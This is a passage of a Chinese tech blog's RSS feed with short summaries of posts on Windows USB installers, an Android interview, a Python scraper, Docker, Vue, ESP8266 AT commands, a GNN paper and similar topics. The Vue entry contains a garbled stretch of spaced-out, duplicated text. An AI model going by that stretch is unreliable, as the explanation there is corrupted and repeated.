      <description>1.问题描述 使用UltraISO刻录Win10到U盘，发现刻录完系统后，U盘已用空间只有1.04G，而原Win10盘有5.04G。&#xA;2.问题原因 检查文件，发现U盘里面sources文件夹中系统安装文件“install.wim”只有200多M，原盘“install.wim”文件有4.21GB。&#xA;由于UltraISO刻录后，将U盘文件系统改为“FAT32”，导致大于4GB文件无法拷入。&#xA;3.解决方法 使用管理员权限打开CMD窗口，将U盘转成NTFS文件系统格式。&#xA;命令（disk代表U盘的盘符）：&#xA;convert disk:/FS:NTFS 改完之后，将原盘中的“install.wim”拷贝到U盘sources文件夹中。</description>
    </item>
    <item>
      <title>阿里钉钉Android实习面试也太太太太难了吧，对算法的要求堪比字节</title>
      <link>https://bchobby.github.io/posts/cb441412ade0907aad0e337a0aab7e30/</link>
      <pubDate>Tue, 27 Apr 2021 16:22:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cb441412ade0907aad0e337a0aab7e30/</guid>
      <description>本人研究生在读，在2月26日找了师兄内推阿里钉钉团队，28号接到了约1面的电话。幸好我提前准备了一个多月的样子，刷面试题、刷LeetCode（面了之后才觉得自己刷少了），对于我这样一个实习生来说题目还是有些偏难，不过在4月20号终于拿到意向书了，听内推人说阿里实习面试没有rank，可能单纯就是流程比较慢，漫长的等待和面试还是值得的呀。&#xA;钉钉1面，3月1日（电话面试，1个小时） 本科、研究生学过什么跟计算机相关的课？&#xA;tcp、http协议相关；http1.1和2.0区别&#xA;堆排序的过程&#xA;Java单例有几种方式&#xA;静态方法同步和普通方法同步的区别&#xA;线程池7大参数、工作原理&#xA;点击手机桌面应用图标后发生了什么&#xA;View三大流程说了一下，流式布局FlowLayout怎么实现的&#xA;retrofit原理，看过okhttp源码，讲了一下okhttp的工作原理（分发器、拦截器，讲了细节）&#xA;聊了项目（讲了好久），几个方面如下：&#xA;（1）项目中用了kotlin协程，于是问了协程的相关理念，面试官可能觉得说的不太全，就给补充了一下。 然后说协程这样的新技术国外有人用，国内用的很少（因为使用协程会改变老项目原有网络架构，对于新项目可以使用，想要取代老项目比较困难）。&#xA;（2）如果用户反应app有问题，该怎么解决？回答网络抓包，面试官说大型项目不可能通过抓包来找问题，后来经过暗示，正确做法应该是生成日志文件并提交到服务器。&#xA;（3）聊了项目中登录相关的业务怎么实现的（将服务器响应的token持久化并添加到请求头）。&#xA;提问环节。问了面试官kotlin在企业应用中是否有用到，面试官说由于Java和kotlin并不冲突，因此在项目中是共存的。 第二天下午接到了约2面的电话，就约在当天晚上&#xA;钉钉2面，3月2日（电话面试，1个小时） 聊了研究生、本科阶段得过哪些奖，做过哪些项目或者参加过哪些比赛。具体问了本科参加过的一个水中机器人的比赛（stm32单片机做的），怎么识别水中的路线之类的一些细节；又问了简历中的一个医疗机器人的项目（遇到了哪些问题、只是实验室做着玩还是准备用在现实生活中）；又问了参加过的数学竞赛，这个竞赛考察了什么能力等等。&#xA;问设计模式，Android源码或者第三方开源框架应用设计模式举例？（说了okhttp拦截器责任链模式）&#xA;自己的项目有没有用设计模式？（retrofit单例，用的kotlin的object关键字实现）&#xA;Android源码中你认为有哪些方面设计的很优秀的地方？（说了Android view体系）&#xA;聊kotlin，kotlin相比于Java有哪些优势、具体有哪些特性、语法糖之类的&#xA;谈谈对mvvm、mvc架构的理解，为什么你要在项目中使用mvvm？（当然是Google推荐使用mvvm）&#xA;聊对工作、学习方面的态度，应该具备什么能力等等&#xA;三道算法题（说思路）：&#xA;（1）二叉树的最近公共祖先（只想出来一种比较笨的方法）&#xA;（2）遍历二叉树的第k层节点（递归迭代都讲了）&#xA;（3）给一个中文字符串“一万两千八百一十一”（只是个例子），输出这个字符串对应的数值（没想出来）&#xA;提问环节，问了部门的氛围如何之类的&#xA;二面之后参加了阿里的第一次笔试，两道力扣hard题，血难，加上我之前没练过ACM输入输出，最后一道也没过0分&#xA;（1）力扣1411：网格图涂色的方案数&#xA;（2）力扣815：公交路线&#xA;笔试之后心态崩了，觉得0分应该进不了阿里了，没想到过了两周二面的面试官给打了个电话，说前两面的面试成绩挺好，可以再给一个机会，用阿里伯乐平台出了4道题（其实是前两道有点难，第一道贪心算法，第二道工厂模式+策略模式+多线程都不会），才又出了后面两道简单的算法题，一个反转字符串中的单词，一个求链表倒数第k个节点，这俩写出来了。一周之后接到了3面的电话。&#xA;钉钉3面，3月24日（电话面试，40分钟） 自我介绍&#xA;聊项目，mvc、mvp和mvvm架构各自的特点；在项目中最具有挑战的是什么？项目收获到了什么？&#xA;算法题：给两个字符数组，举例：{h,e,l,l,o, ,w,o,r,l,d}和{e,o}，如果第一个数组中存在第二个数组中的元素则去掉，后面的元素往前顺移，结果为：{h,l,l, ,w, r,l,d}。要求时间复杂度为O（n），空间复杂度为O（1）。&#xA;你认为什么样的人可以称之为技术大佬？如果只有30分钟，你会依据什么来判断一个人是不是大佬？你认为自己身边最厉害的技术大佬是谁？他为什么会成为大佬？你愿不愿意推荐他到我们顶顶团队（我说他投了蚂蚁，面试官说他做了错误的选择…）？如果让你在半年之内达到他的水平，你的学习规划是什么？你会不会向他请教学习方法？&#xA;反问：&#xA;（1）大厂对新技术的态度是怎样的？&#xA;（2）鸿蒙会不会取代Android？Android的前景怎样？面试官先问了我的观点，后来说了自己的观点：不会。&#xA;为什么不会？这个要自己查找最近几年出现的智能手机系统，它们为什么没有Android和iOS成功，从中找答案。&#xA;钉钉HR面，3月30日（钉钉视频面试，20分钟） 自我介绍，开了共享屏幕现场给HR展示了之前的一个项目&#xA;你的项目UI界面是自己设计的吗？&#xA;你对未来的规划是什么？&#xA;有没有投别的大厂？&#xA;大厂有很多，为什么要投阿里？为什么要投钉钉部门？&#xA;你对互联网行业加班现状怎么看？你对加班的态度怎样？&#xA;提问环节：&#xA;（1）实习生待遇怎样？&#xA;（2）转正率高不高？（阿里实习期间如果表现正常基本都能转正，除非自己不想转正）&#xA;（3）加班情况怎样？（除了大版本更新，平时不会像拼多多那么肝，一般晚上九点就清场了，周末基本也不用加班）&#xA;面试经验总结 一定要谨慎对待写在简历上的东西，一定要对简历上的东西非常熟悉。因为一般情况下，面试官都是会根据你 的简历来问的；&#xA;注重计算机基础。对自己投递岗位需要的技能足够熟练，对其他岗位需要的知识也要有所了解。&#xA;注重算法。很多人都没有意识到算法的重要性，国外的企业都在问算法题，国内大厂算法现在也是必不可少的，算是行业风口，掌握算法的人将拿到更多的机会。&#xA;关注技术视野。技术视野是大家容易忽略的一个点，包括深度和广度，包括阿里在内的很多大厂面试都很看重这个。有些人面试答得很好，却给面试官留下一个视野狭窄的印象。&#xA;能有一个上得了台面的项目也非常重要，这很可能是面试官会大量发问的地方，所以在面试 之前好好回顾一下自己所做的项目；&#xA;和面试官聊基础知识比如设计模式的使用、多线程的使用等等，可以结合具体的项目场景或者是自己在平时是 如何使用的；</description>
    </item>
    <item>
      <title>网络爬虫爬取热榜信息</title>
      <link>https://bchobby.github.io/posts/6ffb9a7e6226228b0b60c2acba78463b/</link>
      <pubDate>Tue, 27 Apr 2021 15:42:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6ffb9a7e6226228b0b60c2acba78463b/</guid>
      <description>先上程序（爬取百度热榜）&#xA;&#39;百度热榜爬虫&#39; import requests from lxml import etree import os if __name__ ==&#39;__main__&#39;: header = { &#39;User-Agent&#39;:&#39;Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4442.4 Safari/537.36&#39; } url = &#39;https://tophub.today/&#39; page_text = requests.get(url=url,headers=header).text etree = etree.HTML(page_text) list_page = etree.xpath(&#39;//*[@id=&#34;node-2&#34;]/div/div[2]/div[1]/a&#39;) i=1 fp = open(&#39;百度热榜.txt&#39;, &#39;w&#39;, encoding=&#39;utf8&#39;) print(&#34;****百度热榜****&#34;) for li in list_page: title = li.xpath(&#39;./div/span[2]/text()&#39;)[0] hot_degree = li.xpath(&#39;./div/span[3]/text()&#39;)[0] print(i,title,&#34;点击量:&#34;+hot_degree) fp.write(str(i)+&#39;,&#39;+str(title)+&#39; 点击量:&#39;+str(hot_degree) + &#39; 04-27&#39;+&#39;\n&#39;) i = i + 1 再来上程序（爬取微博热榜）</description>
    </item>
    <item>
      <title>AIO, DIO, CIO</title>
      <link>https://bchobby.github.io/posts/b3d54460a3914e24e14556c7f679ed34/</link>
      <pubDate>Tue, 27 Apr 2021 13:59:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b3d54460a3914e24e14556c7f679ed34/</guid>
      <description>复杂度3/5&#xA;机密度3/5&#xA;这些名词都用于数据（文件）访问的模式，既应用程序用什么方案实现对文件的读写。&#xA;AIO&#xA;AIO 的全称为 Asynchronous I/O，既异步 I/O。在 AIO 的工作模式下，应用程序发起（call）I/O请求（读 / 写）系统调用以后，内核不必等 I/O 完成，即可返回（此时数据区不能释放或修改，需要等访问确认完成），应用程序可以发起新的 I/O 请求。通过这种方法，可以提示提升 I/O 吞吐量和性能。从 AIX5L 起，AIX 支持两种 AIO：legacy AIO 和 POSIX AIO。AIO 既支持文件系统也支持裸设备。&#xA;DIO&#xA;AIO 的全称为 Direct I/O，即直接 I/O。在 DIO 的工作模式下，数据直接从磁盘传送到应用的数据区，而不经过文件的 VMM映射。DIO 是 JFS/JFS2文件系统的一个选项，对于一些应用，如 Oracle 数据库，它本身有自己的缓存管理机制，如果再使用文件系统缓存，不但多占用了一倍的物理内存，而且多了一次数据移动。在这种情况下，使用 DIO 会提升一些性能。但是，当应用有大量的顺序读 I/O 的时候，可能由于AIX的lv预读机制也由于DIO而被关闭，导致性能稍稍下降。&#xA;CIO&#xA;CIO 的全称为 Concurrent I/O 既并发 I/O。CIO 的工作模式是建立在 DIO 模式基础之上的。在 JFS2 的环境下，如果应用需要绕过文件系统缓存，经常会使用 CIO 模式来替代 DIO 模式。在 CIO 的工作模式下，首先，数据会从磁盘直接传递到应用的缓存，这一点和DIO相同。除此之外，由于在文件系统中，为了保证并行访问时，多线程、进程之间数据更新的一致性，需要使用 inode lock。Inode lock 保证一个文件在某一时刻，只有一个写 I/O，并且为了避免读到 stale 的数据，写的时候也是不允许并发读。而在 CIO 的工作模式下，JFS2 会绕过 inode lock，从而实现多个线程可以同时读写一个共享文件。而在这种情况下，数据的一致性就需要应用或数据库自己来保证。</description>
    </item>
    <item>
      <title>Docker运行自动启动容器或关闭容器</title>
      <link>https://bchobby.github.io/posts/c0d0b8a12d6c6dcd318ec4c7c6435180/</link>
      <pubDate>Tue, 27 Apr 2021 12:04:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c0d0b8a12d6c6dcd318ec4c7c6435180/</guid>
      <description> 是否有这样的烦恼，每次启动Docker时会跟着启动很多容器？更有甚者，有多个相同功能的容器都不知道启动的是哪个？冲动时真心想把所有的容器干掉重新来过，后来查了命令，这个问题是可以这样解决的。&#xA;命令说明 docker update &amp;lt;容器id，可多个，空格分隔如：111 2222 222&amp;gt; --restart=no 或always 自动启动容器 docker update cf877cb5ea48 9120211fed93 --restart=always 关闭启动容器 docker update cf877cb5ea48 9120211fed93 --restart=no </description>
    </item>
    <item>
      <title>前端性能优化，jquery实现图片分页懒加载效果，详细步骤?</title>
      <link>https://bchobby.github.io/posts/43350799f850a6f15347e08f8f2810ca/</link>
      <pubDate>Tue, 27 Apr 2021 05:45:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/43350799f850a6f15347e08f8f2810ca/</guid>
      <description>效果图:&#xA;第一页默认10条数据,滚动条到末尾实现第二条数据（效果图:获取到的数据）&#xA;初始时:(验证方法效果)&#xA;懒加载:不是一次性加载完，是滚动条加载到当前才显示到图片。&#xA;(数据分析:后端全部给到前端数据，会造成页面阻塞,一般后端给到前端是分页的数据,前端通过调用chunk++往上加载，实现分页)&#xA;如下图:加载的数据&#xA;代码如下:&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;meta http-equiv=&#34;X-UA-Compatible&#34; content=&#34;IE=edge&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;&amp;gt; &amp;lt;title&amp;gt;图片懒加载功能实现&amp;lt;/title&amp;gt; &amp;lt;style&amp;gt; *{ margin:0; padding: 0; box-sizing:border-box; } body,html{ background-color: #6098cc; } ul li{ list-style: none; } .ljz_item_arow ul{ display: flex; flex: 1; flex-wrap: wrap; padding: 10%; } .ljz_item_arow ul li{ width: 50%; border:1px solid olivedrab; } .ljz_item_arow ul li img{ display: inline-block; width: 100%; height: 70%; } .</description>
    </item>
    <item>
      <title>【Numpy基础】np.loadtxt函数解读</title>
      <link>https://bchobby.github.io/posts/4c7b9f2d7454df7edc0760410bbe4e4c/</link>
      <pubDate>Mon, 26 Apr 2021 21:05:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4c7b9f2d7454df7edc0760410bbe4e4c/</guid>
      <description>在Python中读取文件的方法有很多，以前笔者主要用Pandas方法读取execl，csv数据。主要是因为喜欢把数据存成以上两种格式。最近在做模型时，发现用pandas读取数据很麻烦。因为读取到的数据还需要转成array，虽然只需要加.values但其中需要具体操作也是占时间的。不如一步到位读取出来就是array，所以现在喜欢读取txt文件，当然pandas也能读取。&#xA;np.loadtxt函数np.loadtxt(“path”,delimiter=None)，主要的两个参数是路径跟分隔符。path是路径，delimiter是分隔符。就是读取的文件中字符是用什么符号分割的。&#xA;参考文献 [1]numpy中文件读取操作np.loadtxt(),np.savetxt()的使用&#xA;[2]np.loadtxt()的参数设置</description>
    </item>
    <item>
      <title>Ubuntu下的PATH、LIBRARY_PATH和LD_LIBRARY_PATH</title>
      <link>https://bchobby.github.io/posts/09cf4854256ac2a8eeb1a591a82ada7e/</link>
      <pubDate>Mon, 26 Apr 2021 18:49:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/09cf4854256ac2a8eeb1a591a82ada7e/</guid>
      <description>都叫做环境变量&#xA;$PATH：可执行文件的路径$LIBRARY_PATH：程序编译时查找的路径$LD_LIBRARY_PATH：程序链接时的路径 可以在~/.bashrc或者/etc/profile中修改，修改完，source ~/.bashrc(/etc/profile) 有效&#xA;另外程序链接目录，也可以在/etc/ld.so.conf文件中添加</description>
    </item>
    <item>
      <title>ubuntu下安装Qt creator</title>
      <link>https://bchobby.github.io/posts/81bb0572e5412a9bc062728055863f67/</link>
      <pubDate>Mon, 26 Apr 2021 18:00:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/81bb0572e5412a9bc062728055863f67/</guid>
      <description> 安装依赖，sudo apt-get install build-essential libgl1-mesa-dev libglu1-mesa-dev mesa-common-dev下载对应版本的Qt，给一个清华源：https://mirrors.tuna.tsinghua.edu.cn/qt/official_releases/qt/sudo chmod u+x 安装包运行，进行安装需要账号验证，可以去官网注册一个插件尽量都选上吧，安卓和源码看情况安装完成后，suco vim /etc/profile 添加环境变量，qt creator和qt，修改后，source /etc/profile之后就可以启动了 </description>
    </item>
    <item>
      <title>vue的运行机制简述</title>
      <link>https://bchobby.github.io/posts/f6638bdc8d7dbc8da3f596d35b3f1605/</link>
      <pubDate>Mon, 26 Apr 2021 10:42:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f6638bdc8d7dbc8da3f596d35b3f1605/</guid>
      <description>一、vue初始化做了什么？&#xA;1、创建Vue实例对象&#xA;2、init过程会初始化生命周期，初始化事件中心，初始化渲染、执行beforeCreate周期函数、初始化 data、props、computed、watcher、执行created周期函数等。&#xA;3、初始化后，调用 m o u n t 方 法 对 V u e 实 例 进 行 挂 载 （ 挂 载 的 核 心 过 程 包 括 模 板 编 译 、 渲 染 以 及 更 新 三 个 过 程 ） 。 4 、 如 果 没 有 在 V u e 实 例 上 定 义 r e n d e r 方 法 而 是 定 义 了 t e m p l a t e ， 那 么 需 要 经 历 ∗ ∗ 编 译 阶 段 ∗ ∗ 。 需 要 先 将 t e m p l a t e 字 符 串 编 译 成 r e n d e r f u n c t i o n ， t e m p l a t e 字 符 串 编 译 步 骤 如 下 ： （ 1 ） p a r s e 正 则 解 析 t e m p l a t e 字 符 串 形 成 A S T （ 抽 象 语 法 树 ， 是 源 代 码 的 抽 象 语 法 结 构 的 树 状 表 现 形 式 ） （ 2 ） o p t i m i z e 标 记 静 态 节 点 跳 过 d i f f 算 法 （ 3 ） g e n e r a t e 过 程 将 A S T 转 化 成 r e n d e r f u n c t i o n 字 符 串 5 、 编 译 成 r e n d e r f u n c t i o n 后 ， 调 用 mount方法对Vue实例进行挂载（挂载的核心过程包括模板编译、渲染以及更新三个过程）。 4、如果没有在Vue实例上定义render方法而是定义了template，那么需要经历**编译阶段**。需要先将template 字符串编译成 render function，template 字符串编译步骤如下 ： （1）parse正则解析template字符串形成AST（抽象语法树，是源代码的抽象语法结构的树状表现形式） （2）optimize标记静态节点跳过diff算法 （3）generate过程将AST转化成render function字符串 5、编译成render function 后，调用 mount方法对Vue实例进行挂载（挂载的核心过程包括模板编译、渲染以及更新三个过程）。4、如果没有在Vue实例上定义render方法而是定义了template，那么需要经历∗∗编译阶段∗∗。需要先将template字符串编译成renderfunction，template字符串编译步骤如下：（1）parse正则解析template字符串形成AST（抽象语法树，是源代码的抽象语法结构的树状表现形式）（2）optimize标记静态节点跳过diff算法（3）generate过程将AST转化成renderfunction字符串5、编译成renderfunction后，调用mount的mountComponent方法，先执行beforeMount钩子函数，然后核心是实例化一个渲染Watcher，在它的回调函数（初始化的时候执行，以及组件实例中监测到数据发生变化时执行）中调用updateComponent方法（此方法调用render方法生成虚拟Node，最终调用update方法更新DOM）。</description>
    </item>
    <item>
      <title>应用程序操作word文件报“RPC服务器不可用，HRESULT：0x800706BA”</title>
      <link>https://bchobby.github.io/posts/5a2a3d8531c645858bac4c1beced1be4/</link>
      <pubDate>Sun, 25 Apr 2021 22:27:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5a2a3d8531c645858bac4c1beced1be4/</guid>
      <description>问题描述 应用程序在用户计算机中操作本地word文件时报错，错误消息为：“RPC服务器不可用，HRESULT：0x800706BA”。报错后，用户无法正常打开处理后的word文件。&#xA;解决方案 从错误消息中无法看出更多内容，于是在控制面板-&amp;gt;管理工具-&amp;gt;事件查看器中的windows日志-&amp;gt;应用程序中查看应用程序报错的那个时间点是否有错误信息。&#xA;在应用程序报错的同时，在事件查看器中记录了两条错误：&#xA;第一条错误来源为Application Error，错误应用程序名称为WINWORD.EXE，错误模块为NEWORD~2.DLL。但是没有集体的错误信息，从这些信息中无法看出出错的原因。&#xA;第二条错误来源为MSOIDSVC.EXE，错误信息为：“无法找到来自源MSOIDSVC.EXE的事件ID 0 的描述。本地计算机上未安装引发此事件的组件，或者安装已损坏。可以安装或修复本地计算机上的组件。”&#xA;从第二条错误信息来看，有可能是office安装的有问题，因此尝试在控制面板-&amp;gt;应用和功能中修复office，但是没有修复成功。于是卸载已有的office，然后重新安装offic，再运行应用程序即可正常操作并打开本地word文件。</description>
    </item>
    <item>
      <title>做一个控制台简易版具有 加减乘除功能的计算器,并使用异常处理程序</title>
      <link>https://bchobby.github.io/posts/a30a22fa4d80c3124a8ff36743a278fd/</link>
      <pubDate>Sun, 25 Apr 2021 21:24:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a30a22fa4d80c3124a8ff36743a278fd/</guid>
      <description>package com.xiaoliang.test;&#xA;import java.util.Scanner;&#xA;/**&#xA;* 做一个控制台简易版具有 加减乘除功能的计算器,并使用异常处理程序&#xA;* @author admin&#xA;*首先创建一个死循环，如果输入无误测跳出循环;&#xA;*/&#xA;public class NumTest {&#xA;public static void main(String[] args) {&#xA;double n ;&#xA;boolean x = true;&#xA;try {&#xA;while (x) {&#xA;Scanner sc = new Scanner(System.in);&#xA;System.out.println(&#34;输入第一个数字&#34;);&#xA;double i = sc.nextDouble();&#xA;System.out.println(&#34;输入运算符号= - * /&#34;);&#xA;String str = sc.next();&#xA;System.out.println(&#34;输入第二个数字&#34;);&#xA;double j = sc.nextDouble();&#xA;if (str.equals(&#34;+&#34;)) {&#xA;n = i + j;&#xA;System.out.println(n);&#xA;break;&#xA;} else if (str.</description>
    </item>
    <item>
      <title>RabbitMQ  工作台删除操作步骤</title>
      <link>https://bchobby.github.io/posts/5cc82e73cbe8afaf669e1a31338f9188/</link>
      <pubDate>Sun, 25 Apr 2021 18:07:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5cc82e73cbe8afaf669e1a31338f9188/</guid>
      <description> </description>
    </item>
    <item>
      <title>移动端封装一个滚动加载的组件实现分页功能</title>
      <link>https://bchobby.github.io/posts/adaf88538f0df17f96c1dcadfb1380f0/</link>
      <pubDate>Sun, 25 Apr 2021 17:55:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/adaf88538f0df17f96c1dcadfb1380f0/</guid>
      <description>在移动端项目中，用户通过向上滑动，加载列表数据，实现分页的功能。当总页数为1页或者是最后一页时候，底部显示“没有更多数据”字样，否则显示“滑动加载更多”的字样。&#xA;一、组件的封装&#xA;1、html&#xA;2、js&#xA;export default {&#xA;props: {&#xA;parentPullUpState: {&#xA;default: 0&#xA;},&#xA;onInfiniteLoad: {&#xA;type: Function,&#xA;require: false&#xA;}&#xA;},&#xA;components: {&#xA;// “van-loading”: Loading&#xA;},&#xA;data() {&#xA;return {&#xA;top: 0,&#xA;pullUpState: 0, // 1:向上加載更多, 2:加載中, 3:沒有更多數據了&#xA;isLoading: false, // 是否正在加载&#xA;pullUpInfo: {&#xA;moreText: “向上拖动加载下一页”,&#xA;noMoreText: “沒有更多数据了”&#xA;},&#xA;startX: 0,&#xA;startY: 0,&#xA;endX: 0,&#xA;endY: 0&#xA;};&#xA;},&#xA;methods: {&#xA;/**&#xA;* 触摸开始，手指点击屏幕时&#xA;* @param {object} e Touch 对象包含的属性</description>
    </item>
    <item>
      <title>Linux嵌入式开发——Petalinux介绍及其使用</title>
      <link>https://bchobby.github.io/posts/70bff526217dffa108e5f0d7721fd6a4/</link>
      <pubDate>Sun, 25 Apr 2021 17:32:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/70bff526217dffa108e5f0d7721fd6a4/</guid>
      <description>这一章内容是关于Linux嵌入式开发的，针对里面的petalinux进行讲解。 Petalinux介绍及其使用 前言一、Petalinux是什么？二、下载及其安装1.下载2.安装 三、Petalinux的使用总结 前言 本文章主要介绍的是Petainux的介绍、安装和配置。 一、Petalinux是什么？ PetaLinux工具提供在Xilinx处理系统上定制、构建和调配嵌入式Linux 解决方案所需的所有组件。该解决方案旨在提升设计生产力，可与Xilinx 硬件设计工具配合使用，以简化针对Versal、ZynqUltraScale MPSoC、Zynq7000SoC和MicroBlaze的Linux系统开发。&#xA;二、下载及其安装 1.下载 可以到Xilinx的官方网站https://china.xilinx.com/进行下载安装包&#xA;2.安装 （1）先新建一个文件夹：mkdir。&#xA;（2）执行安装命令：输入命令行&#xA;./petalinux-v2018.3-final-installer.run /opt/pkg/petalinux/2018.3&#xA;（3）修改bash：sudo dpkg-reconfigure dash&#xA;（4）设置环境变量:sourcesettings.sh&#xA;三、Petalinux的使用 （1）搭建vivado工程，导出hdf文件。&#xA;（2）创建一个petalinux工程&#xA;使用petalinux-create-t project命令。&#xA;（3）将vivado文件导入到petalinux工程&#xA;使用petalinux-config --get-hw-description命令。&#xA;（4）配置petalinux工程&#xA;使用petalinux-config -c命令，分别配置U-boot、内核、rootfs。&#xA;（5）编译petalinux工程&#xA;使用petalinux-build命令。&#xA;总结 petalinux的使用中还是有很多操作需要去牢记的，熟能生巧，多加练习才能更加熟练。</description>
    </item>
    <item>
      <title>Unity 绕物体旋转两种方式</title>
      <link>https://bchobby.github.io/posts/d93f0f5df5279808556b518d80938be8/</link>
      <pubDate>Sun, 25 Apr 2021 10:59:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d93f0f5df5279808556b518d80938be8/</guid>
      <description>Unity 绕物体旋转两种方式 前言第一种方式第二种方式随机环绕 前言 项目上遇到一个要绕物体旋转的问题，还要可以动态修改旋转中心和旋转半径。&#xA;第一种方式 使用Unity自带的API RotateAround&#xA;有两个问题&#xA;物体移动的时候无法准确跟随无法修改圆的半径 using System.Collections; using System.Collections.Generic; using UnityEngine; public class ItemScript : MonoBehaviour { //中心点 public Transform center; //转动速度 public float rotationSpeed=10; void Update() { //跟随center转圈圈 this.transform.RotateAround(center.position, Vector3.forward, Time.deltaTime * rotationSpeed); } } 第二种方式 可以动态修改中心点的位置和旋转半径&#xA;已知圆心坐标：(x0,y0)&#xA;半径：r&#xA;角度：a&#xA;则圆上任一点为：（x1,y1）&#xA;则&#xA;x1 = x0 + r * cos( a )&#xA;y1 = y0 + r * sin( a )&#xA;作者：初同学&#xA;链接: https://www.jianshu.com/p/ba69d991f1af</description>
    </item>
    <item>
      <title>ESP8266&#43;AT指令连接ONENET，POST和GET方式</title>
      <link>https://bchobby.github.io/posts/b03af57004463244b3732699cb25d054/</link>
      <pubDate>Sat, 24 Apr 2021 22:59:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b03af57004463244b3732699cb25d054/</guid>
      <description>ESP8266+AT指令连接步骤 1.AT+RST esp8266复位&#xA;2.AT 检测是否连接成功&#xA;3.ATE0 关闭命令字符回显&#xA;4.AT+CWMODE=3 把模块设置为AP+Station模式&#xA;5.AT+CWJAP=“&#34;,&#34;” 配置AP参数第一对引号内填写接入点名称，第二对引号内填写密码。&#xA;注意：完整指令如下：&#xA;AT+ CWSAP= ,,, ssid:接入点名称&#xA;pwd:密码&#xA;chl:通道号&#xA;ecn:加密方式&#xA;6.AT+CIFSR 查看该模块的IP地址，在AP模式下不能用。&#xA;7.AT+CIPSTART=“TCP”,“183.230.40.33”,80 连接服务器，TCP连接，183.230.40.33是OneNET的地址，80是OneNET的端口号。&#xA;收到connect后表示与服务器的连接成功。&#xA;8.AT+CIPSEND 进入透传模式，之后就可以向服务器发送数据&#xA;HTTP协议post POST格式如图蓝色部分所示，服务器返回的信息是绿色部分&#xA;红色掩盖处是设备ID，黑色掩盖处是设备密钥，这个只要在Onenet上申请了自己的产品就能查找到;&#xA;{“tem”:42}表示客户端向服务器中ID为tem的数据流发送42这个数据。&#xA;然后来看服务器返回的信息:&#xA;首先Date部分，可以获取发送数据时的具体年月日时分秒，但是这是格林威治时间，换成北京时间要往后推8小时；&#xA;Content-Type:指发送数据的格式；&#xA;Connection:保持心跳；&#xA;Content-Length:发送数据的长度；&#xA;{“errno”:0,“error”:“succ”}表示本次发送数据的过程成功，没有错误。&#xA;HTTP协议get 同上，红色掩盖处是设备ID，黑色掩盖处是设备密钥。&#xA;但是datastream_id要注意，是要get的目标数据流ID，这里我是在Onenet上创建了一个开关，数据是一个布尔值，开为1，关为0。get指令就是获取这个数据流的当前的值。&#xA;来看绿色的部分：&#xA;Date等部分同上，这里就不说了。&#xA;主要看最后两行，其中的信息说明了本次连接成功与否，get的数据流ID是什么，数据流其中的数据，以及这个数据是在什么时候产生的。如下图，就是说本次GET指令执行成功，获得了数据流ID为switch的值为1，并且这个值是在2021年3月16日的15时13分22秒产生的。&#xA;结语 以上就是ESP8266使用AT指令连接上Onenet，然后通过HTTP协议的POST和GET来将数据上传至云端或者获得云端的某个数据流的数据的全部步骤。后续可以将这些指令写入单片机中，便可以实现单片机和云端进行数据交换了。这一步也算是从单机向物联网迈出的第一个脚步了，后面还有更多的花里胡哨操作等着各位，例如从云端获取时间啊，到知心天气上获得天气数据然后把单片机做成一个天气站啊。http协议之后还有mqtt协议，相对来说mqtt协议更好用，稳定一些。&#xA;与诸君共勉。</description>
    </item>
    <item>
      <title>论文笔记：AAAI 2021 Beyond Low-frequency Information in Graph Convolutional Networks</title>
      <link>https://bchobby.github.io/posts/3b6938bc9aab7907cc3de94b67727e1a/</link>
      <pubDate>Sat, 24 Apr 2021 21:33:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3b6938bc9aab7907cc3de94b67727e1a/</guid>
      <description>前言 现有的大部分 GNN 方法集中于对图数据中的低频信息进行处理，这也产生了一个问题：真实世界中我们需要的仅仅是图中的低频信息吗？&#xA;作者在本文中进行了实验说明了在不同的条件下仅使用低频信息是有局限性的。基于此，作者提出了一种基于自我门控机制的 Frequency Adaptation Graph Convolutional Networks (FAGCN) 。核心在于实现自适应的频率信息图卷积。同时作者还分析了在学习节点特征表示过程中低频信息和高频信息扮演什么样的角色。&#xA;论文链接：https://arxiv.org/pdf/2101.00797v1.pdf&#xA;github：https://github.com/bdy9527/FAGCN&#xA;1. Important GNN 中的低通滤波器主要保留了节点特征的共性，不可避免地忽略了差异，使得学习到的连通节点表示变得相似。由于低频信息的平滑性，该机制可以很好地应用于协调性（assortative）网络，即相似节点倾向于相互连接。然而，现实世界的网络并不总是协调性的，有时是非协调性（disassortative）的，也就是说，来自不同类别的节点往往会相互连接。例如，蛋白质中的化学相互作用经常发生在不同类型的氨基酸之间。如果我们使用低通滤波器来强制连接蛋白的表示相似，显然会很大程度上阻碍性能。这里的低频信息不足以支持这种网络的推理。在这种情况下，高频信息捕捉节点之间的差异。&#xA;2. Low-frequency And High-frequency Information 总结一下：在 GNN 